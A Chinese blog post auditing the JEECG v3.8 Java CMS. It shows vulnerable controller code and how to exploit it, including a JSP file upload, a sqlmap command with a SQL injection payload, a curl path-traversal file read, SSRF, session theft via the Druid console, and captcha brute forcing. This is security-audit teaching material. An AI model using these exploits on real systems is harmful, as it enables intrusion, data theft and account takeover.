JAVA代码审计-cms综合篇

news2025/2/24 23:31:33
前言

JEECGv3.8。下载地址:GitHub - jeecgboot/jeecg at v3.8

java代码审计第一步:查看web.xml

一个重要的servlet:DispatcherServlet,

<servlet>
		<description>spring mvc servlet</description>
		<servlet-name>springMvc</servlet-name>
		<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
		<init-param>
			<description>spring mvc 配置文件</description>
			<param-name>contextConfigLocation</param-name>
			<param-value>classpath*:spring-mvc.xml</param-value>
		</init-param>
		<load-on-startup>1</load-on-startup>
</servlet>
	
<servlet-mapping>
   <servlet-name>springMvc</servlet-name>
   <url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping>
		<servlet-name>springMvc</servlet-name>
		<url-pattern>/rest/*</url-pattern>
</servlet-mapping>

        匹配规则: *.do或者/rest/* 引用的DispatcherServlet类调用controller处理,在Spring MVC中,访问Controller时使用后缀".do"的做法是一种传统的URL映射方式,通常称为后缀模式(suffix pattern)。使用.do后缀可以帮助区分请求是由Spring MVC处理的,而不是其他框架或者静态资源。这样可以提高代码的可维护性和灵活性,也能更好地组织和管理项目中的请求。此外,使用.do后缀还可以与其他技术栈进行集成和区分。例如,如果项目同时使用了Struts框架,可以将Spring MVC的请求配置为以.do后缀结尾,而将Struts的请求配置为以.action后缀结尾,这样就可以让两个框架共存,各自处理自己的请求。

文件上传漏洞

 定位到“org.jeecgframework.web.cgform.controller.upload.CgUploadController”类的“ajaxSaveFile”方法

@Controller
@RequestMapping("/cgUploadController")
public class CgUploadController extends BaseController {
...
@RequestMapping(params = "ajaxSaveFile")
@ResponseBody
public AjaxJson ajaxSaveFile(MultipartHttpServletRequest request) {
   AjaxJson ajaxJson = new AjaxJson();
   Map<String, Object> attributes = new HashMap<String, Object>();
   try {
      Map<String, MultipartFile> fileMap = request.getFileMap();
      String uploadbasepath = ResourceUtil.getConfigByName("uploadpath");
      // 文件数据库保存路径
      String path = uploadbasepath + "/";// 文件保存在硬盘的相对路径
      String realPath = request.getSession().getServletContext().getRealPath("/") + "/" + path;// 文件的硬盘真实路径
      realPath += DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
      path += DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";
      File file = new File(realPath);
      if (!file.exists()) {
         file.mkdirs();// 创建文件时间子目录
      }
      if(fileMap != null && !fileMap.isEmpty()){
         for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {
            MultipartFile mf = entity.getValue();// 获取上传文件对象
            String fileName = mf.getOriginalFilename();// 获取文件名
            String swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName)));// 取文件名首字母作为SWF文件名
            String extend = FileUtils.getExtend(fileName);// 获取文件扩展名
            String noextfilename=DateUtils.getDataString(DateUtils.yyyymmddhhmmss)+StringUtil.random(8);//自定义文件名称
            String myfilename=noextfilename+"."+extend;//自定义文件名称
            String savePath = realPath + myfilename;// 文件保存全路径
            write2Disk(mf, extend, savePath);
            TSAttachment attachment = new TSAttachment();
            attachment.setId(UUID.randomUUID().toString().replace("-", ""));
            attachment.setAttachmenttitle(fileName.substring(0,fileName.lastIndexOf(".")));
            attachment.setCreatedate(new Timestamp(new Date().getTime()));
            attachment.setExtend(extend);
            attachment.setRealpath(path + myfilename);

            String globalSwfTransformFlag = ResourceUtil.getConfigByName("swf.transform.flag");
            if("true".equals(globalSwfTransformFlag) && !FileUtils.isPicture(extend)){
               attachment.setSwfpath( path + FileUtils.getFilePrefix(myfilename) + ".swf");
               SwfToolsUtil.convert2SWF(savePath);
            }

            systemService.save(attachment);
            attributes.put("url", path + myfilename);
            attributes.put("name", fileName);
            attributes.put("swfpath", attachment.getSwfpath());
            attributes.put("fileid", attachment.getId());

         }
      }
      ajaxJson.setAttributes(attributes);
   } catch (Exception e) {
      e.printStackTrace();
      ajaxJson.setSuccess(false);
      ajaxJson.setMsg(e.getMessage());
   }
   return ajaxJson;
}

 重点在于

String extend = FileUtils.getExtend(fileName);// 获取文件扩展名

String myfilename=noextfilename+"."+extend;//自定义文件名称

write2Disk(mf, extend, savePath);

其中mf可控,extend可控,savePath后缀名可控

跟进去 write2Disk(mf, extend, savePath);

private void write2Disk(MultipartFile mf, String extend, String savePath)
      throws IOException, UnsupportedEncodingException, FileNotFoundException {
   File savefile = new File(savePath);
   if("txt".equals(extend)){
      //利用utf-8字符集的固定首行隐藏编码原理
      //Unicode:FF FE   UTF-8:EF BB   
      byte[] allbytes = mf.getBytes();
      try{
         String head1 = toHexString(allbytes[0]);
         String head2 = toHexString(allbytes[1]);
         if("ef".equals(head1) && "bb".equals(head2)){
            //UTF-8
            String contents = new String(mf.getBytes(),"UTF-8");
            if(StringUtils.isNotBlank(contents)){
               OutputStream out = new FileOutputStream(savePath);
               out.write(contents.getBytes());
               out.close();
            }
         }  else {
            //GBK
            String contents = new String(mf.getBytes(),"GBK");
            OutputStream out = new FileOutputStream(savePath);
            out.write(contents.getBytes());
            out.close();
         }
        } catch(Exception e){
           String contents = new String(mf.getBytes(),"UTF-8");
            if(StringUtils.isNotBlank(contents)){
               OutputStream out = new FileOutputStream(savePath);
               out.write(contents.getBytes());
               out.close();
            }
      }
   } else {
      FileCopyUtils.copy(mf.getBytes(), savefile);
   }
}

首先exten的不会是txt故不进入相关语句,而是直接进入 FileCopyUtils.copy(mf.getBytes(), savefile);

漏洞利用:先根据注解,构造路径“/cgUploadController.do?ajaxSaveFile”,然后根据“ajaxSaveFile“方法构造数据包。

发送请求包 

 访问回显的上传后的地址

 现在将问extend改成jsp

sql注入

在“com.jeecg.demo.controller. JeecgFormDemoController类“中的“getAutocompleteData”方法,可以看到SQL语句时拼接而成的,而且也没有对“searchVal”参数进行过滤,造成SQL注入漏洞。

@RequestMapping(params = "getAutocompleteData",method ={RequestMethod.GET, RequestMethod.POST})
public void getAutocompleteData(HttpServletRequest request, HttpServletResponse response) {
   String searchVal = request.getParameter("q");
   String hql = "from TSUser where userName like '%"+searchVal+"%'";
   List autoList = systemService.findHql(hql);
   ........

漏洞利用

sqlmap跑一下(注中like型注入)

python sqlmap.py -u "http://10.34.25.234:8081/jeecgFormDemoController.do?getAutocompleteData&q=1" --cookie="Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1698498973,1698843635,1698848203,1698849657; i18n_browser_Lang=zh-cn; JEECGINDEXSTYLE=fineui; ZINDEXNUMBER=1990; JSESSIONID=F6648E2CD353B8129604C8477D1549CA; Hm_lpvt_098e6e84ab585bf0c2e6853604192b8b=1698849665" --level=2 --risk=2

 q=1%' AND 4758=4758 AND 'nLxc%'='nLxc 【暂未想到更多利用方式】

任意文件读取

在“com.jeecg.demo.controller. JeecgFormDemoController”类下,“getImgByurl”方法。

@RequestMapping("/filedown")
public void getImgByurl(HttpServletResponse response,HttpServletRequest request) throws Exception{
   String dbpath = request.getParameter("filepath");
   if(oConvertUtils.isNotEmpty(dbpath)&&dbpath.endsWith(",")){
      dbpath = dbpath.substring(0, dbpath.length()-1);
   }
   response.setContentType("application/x-msdownload;charset=utf-8");
   String fileType = dbpath.substring(dbpath.lastIndexOf("."));
   String fileName=request.getParameter("filename")+fileType;
   String userAgent = request.getHeader("user-agent").toLowerCase();
   if (userAgent.contains("msie") || userAgent.contains("like gecko") ) {
      fileName = URLEncoder.encode(fileName, "UTF-8");
   }else {  
      fileName = new String(fileName.getBytes("UTF-8"), "iso-8859-1");  
   } 
   response.setHeader("Content-disposition", "attachment; filename="+ fileName);

   InputStream inputStream = null;
   OutputStream outputStream=null;
   try {
      String localPath=ResourceUtil.getConfigByName("webUploadpath");
      String imgurl = localPath+"/"+dbpath;
      inputStream = new BufferedInputStream(new FileInputStream(imgurl));
      outputStream = response.getOutputStream();
      byte[] buf = new byte[1024];
        int len;
        while ((len = inputStream.read(buf)) > 0) {
            outputStream.write(buf, 0, len);
        }
        response.flushBuffer();
   } catch (Exception e) {
      logger.info("--通过流的方式获取文件异常--"+e.getMessage());
   }finally{
      if(inputStream!=null){
         inputStream.close();
      }
      if(outputStream!=null){
         outputStream.close();
      }
   }
}

关键代码在于

String dbpath = request.getParameter("filepath"); String imgurl = localPath+"/"+dbpath; inputStream = new BufferedInputStream(new FileInputStream(imgurl));

路径是拼接的方式

漏洞利用方式

curl -i http://127.0.0.1:8081/jeecgFormDemoController/filedown.do?filepath=../../../test/user.txt -H "Cookie: JSESSIONID=942EC68A6CD4D7188A7E0E30737D7347; Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1698886034; i18n_browser_Lang=zh-cn; JEECGINDEXSTYLE=fineui; ZINDEXNUMBER=1990; Hm_lpvt_098e6e84ab585bf0c2e6853604192b8b=1698886042"

SSRF漏洞

在“com.jeecg.demo.controller. JeecgFormDemoController”类下,“testInterface”方法。

@RequestMapping(params = "interfaceTest")
@ResponseBody
public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {
       AjaxJson j=new AjaxJson();
    try {
       String serverUrl = request.getParameter("serverUrl");//请求的地址
       String requestBody = request.getParameter("requestBody");//请求的参数
       String requestMethod = request.getParameter("requestMethod");//请求的方式
          if(requestMethod.equals("POST")){
             if(requestBody !=""){
                logger.info("----请求接口开始-----");
                JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);
                logger.info("----请求接口结束-----"+sendPost);
                j.setSuccess(true);
                j.setObj(sendPost.toJSONString());
             }else{
                j.setSuccess(false);
                j.setObj("请填写请求参数");
             }
             
          }
          if(requestMethod.equals("GET")){
              logger.info("----请求接口开始-----");
              JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);
              logger.info("----请求接口结束-----"+sendGet.toJSONString());
              j.setSuccess(true);
              j.setObj(sendGet);
          }
   } catch (Exception e) {
      j.setSuccess(false);
      j.setObj("服务器请求失败");
      e.printStackTrace();
   }
   return j;
}
绕过访问控制漏洞

有接口

<servlet>
   <servlet-name>druidStatView</servlet-name>
   <servlet-class>com.alibaba.druid.support.http.StatViewServlet</servlet-class>
</servlet>
<servlet-mapping>
   <servlet-name>druidStatView</servlet-name>
   <url-pattern>/webpage/system/druid/*</url-pattern>
</servlet-mapping>

访问接口

可以访问到用户的sessionid,可以把这个信息添加到我们的cookie中, 以下漏洞接口是需要登录后才能访问的。但现在我们增加了cookie的sess字段,故可以访问。

验证码暴力

对登录表单的验证码进行暴破

 如果短信验证码的逻辑也是这样,那是不是我们就可以用短信验证码登录或修改任意用户。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1165186.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

MYSQL体系结构总结

&#xff08;笔记整理自b站马士兵教育课程&#xff09; MYSQL总体分为服务层和存储引擎层。 一、服务层 功能&#xff1a; 1、连接&#xff1a;管理连接&#xff0c;权限验证。 2、解析器&#xff1a;词法分析&#xff0c;语法分析。 3、优化器&#xff1a;执行计划生成…

node使用http模块

文章目录 前言一、创建http服务二、设置http的响应报文三、不同请求响应不同数据四、请求响应不同html文件1. 添加www文件夹2. js代码3. 效果 五、get和post请求的区别 前言 提示&#xff1a;这里可以添加本文要记录的大概内容&#xff1a; 一、创建http服务 // 1&#xff1a…

90 数组中的第K个最大元素

数组中的第K个最大元素 题解1 最小堆&#xff08;STL实现&#xff09;题解2 快排的partition思想题解3 手撸大根堆(记忆理解)参考link&#xff1a; 给定整数数组 nums 和整数 k&#xff0c;请返回数组中第 k 个最大的元素。 请注意&#xff0c;你需要找的是数组排序后的第 k…

告别菜鸟!快速精通ER图的绝招在这里!

当涉及到数据管理和数据库设计时&#xff0c;实体-关系图&#xff08;ER图&#xff09;无疑是最重要的工具之一。他们在数据模型设计过程中发挥着举足轻重的作用。但是&#xff0c;理解ER图并不是一项容易的任务。如果你对ER图感到困惑&#xff0c;我们提供了这一全面的指南&am…

Java语法 - 01

Java基础 Java 是一种广泛使用的高级编程语言&#xff0c;最初由Sun Microsystems于1995年发布。它被设计为具有简单、可移植和面向对象的特性&#xff0c;以满足跨平台应用程序开发的需求。以下是一些关于 Java 的简介&#xff1a; 跨平台性&#xff1a;Java 程序可以在不同…

Java学习笔记(六)——面向对象编程(基础)

一、类与对象 &#xff08;一&#xff09;类与对象的概念 &#xff08;二&#xff09;对象内存布局 ​编辑 对象分配机制 ​编辑 &#xff08;三&#xff09;属性/成员变量 &#xff08;四&#xff09;创建对象与访问属性 二、成员方法 &#xff08;一&#xff09;方法…

全球互联网信息,中文内容只占1.3%,学好英语,这几条路子让你赚认知外的钱

在全世界的整个互联网上&#xff0c;中文内容只占1.3%&#xff0c;而英文内容接近60%&#xff0c;如果你不会英语&#xff0c;你的眼界和思维将局限在这1.3%里面。 单单就说赚钱这个事情&#xff0c;学好英语&#xff0c;你可以有很多特殊的路子赚到大钱&#xff0c;可以赚到你…

Vue纯CSS实现掷色子

效果图&#xff1a; 实现代码 直接利用CSS3动画实现的效果&#xff0c;无js代码。 <template><div class"wrap"><input type"checkbox" id"roll"><label for"roll"><div class"content"><…

安防监控项目---mjpeg-streamer视频图像显示(实时视频流实现)

文章目录 前言一、硬件准备和硬件设备的查询二、 jpeg库的移植2.1 源码下载2.2 jpeg库的移植三、mjpeg-stream的移植四、测试结果总结 前言 书接上期&#xff0c;我们已经实现了许多功能了&#xff0c;但是对于视频流的实时上传还未实现&#xff0c;本期主要分享的就是如何具体…

浅述青犀AI算法人体攀爬行为检测的应用场景及解决方案

人体攀爬行为检测是指利用计算机视觉技术对人类攀爬物体的行为进行识别和分析。该技术主要依靠图像和视频数据进行分析&#xff0c;通过识别人类身体的各个部位&#xff0c;以及其在攀爬过程中的动作和姿态&#xff0c;实现对攀爬行为的检测和跟踪。该技术的场景应用比较广泛&a…

Mac -- zsh-最新全网超详细的个性化终端(Terminal)颜色及vim颜色配置(亲测可行)

转自 Mac -- zsh-最新全网超详细的个性化终端(Terminal)颜色及vim颜色配置(亲测可行)_mac zsh-CSDN博客 以下都是苹果 设置&#xff0c;这是简化版的&#xff0c;详细的看我引用的 个性化终端颜色背景设置 显示检查器 打开终端&#xff0c;鼠标在终端中&#xff0c;右击&…

妙手ERP本期功能更新:TikTok支持自定义SKU规格、Temu支持创建尺码表、仓库库存可同步至Shopee全球产品 ......

为了给卖家朋友带来更好的使用体验&#xff0c;更高效地运营跨境店铺&#xff0c;妙手ERP在上周优化了以下多项功能。 01、产品模块优化 全平台 - 插件采集支持批量采集速卖通产品 - 店铺互踩、店铺产品增加销量筛选项 - 公用采集箱支持编辑产品父SKU、AI生成、SKU规格、尺码…

基于单片机设计的自动门控制系统

一、项目介绍 随着科技的不断发展&#xff0c;自动门成为公共场所、商业建筑和住宅社区等地的常见设施。自动门的出现使得进出门的操作更加便捷&#xff0c;提高了人们的生活质量和工作效率。为了实现自动门的开关控制&#xff0c;本项目基于单片机设计了一套自动门控制系统。…

Mac PS2023/2024储存窗口黑屏不显示 解决方法

mac 版本ps2023&#xff0c;存储为窗口突然显示为空白了&#xff0c;没有任何文字按钮&#xff0c;尝试过重启软件、重启电脑、重新安装、电脑系统更新&#xff0c;皆没有效果。 仅ps2023有这个bug&#xff0c;其他操作正常。 具体步骤: 1.打开finder, 先点击左边文稿, 再点击…

二维码智慧门牌管理系统:让房屋管理变得轻松高效!

文章目录 前言一、六实数据管理应用&#xff0c;让管理更精准二、快速导入导出&#xff0c;提升工作效率三、科技助力&#xff0c;让生活更美好四、适用广泛&#xff0c;满足各类需求 前言 随着科技的飞速发展&#xff0c;传统的房屋管理方式已经无法满足现代社会的需求。为了…

【Python语言】字符串的使用方法总结

目录 1、字符串的基本知识 2、字符串的常用操作 2.1 查找特定字符串的下标索引值 2.2 字符串的替换 2.3 字符串的分割 2.4 字符串的规整操作 2.5 统计字符串中某个字符串出现的次数 2.6 统计字符串的长度 3、字符串的遍历 3.1 while循环 3.2 for循环 1、字符串的基本…

cocosCreator微信小游戏 之 获取用户昵称、头像等信息(二)

版本&#xff1a; 3.4.0 语言&#xff1a; TypeScript 环境&#xff1a; Mac 简介 在上篇博客中&#xff0c;主要讲述内容&#xff1a;wx API在cocosCreator中配置定义文件和微信后台配置用户隐私相关。 讲述的主要原因是&#xff1a; cocosCreator没有对 wx API提供定义接…

链表的中间结点

题目表述 给你单链表的头结点 head&#xff0c;请你找出并返回链表的中间结点。如果有两个中间结点&#xff0c;则返回第二个中间结点。 这道题的思路是快慢指针&#xff0c;具体来说就是定义两个指针&#xff0c;一快一慢&#xff0c;快指针一次走两步&#xff0c;慢指针一次…

【每日一题】填充每个节点的下一个右侧节点指针 II

文章目录 Tag题目来源题目解读解题思路方法一&#xff1a;BFS 其他语言python3 写在最后 Tag 【BFS】【树】【2023-11-03】 题目来源 117. 填充每个节点的下一个右侧节点指针 II 题目解读 为二叉树中的每一个节点填充下一个节点。 解题思路 方法一&#xff1a;BFS 本题题目…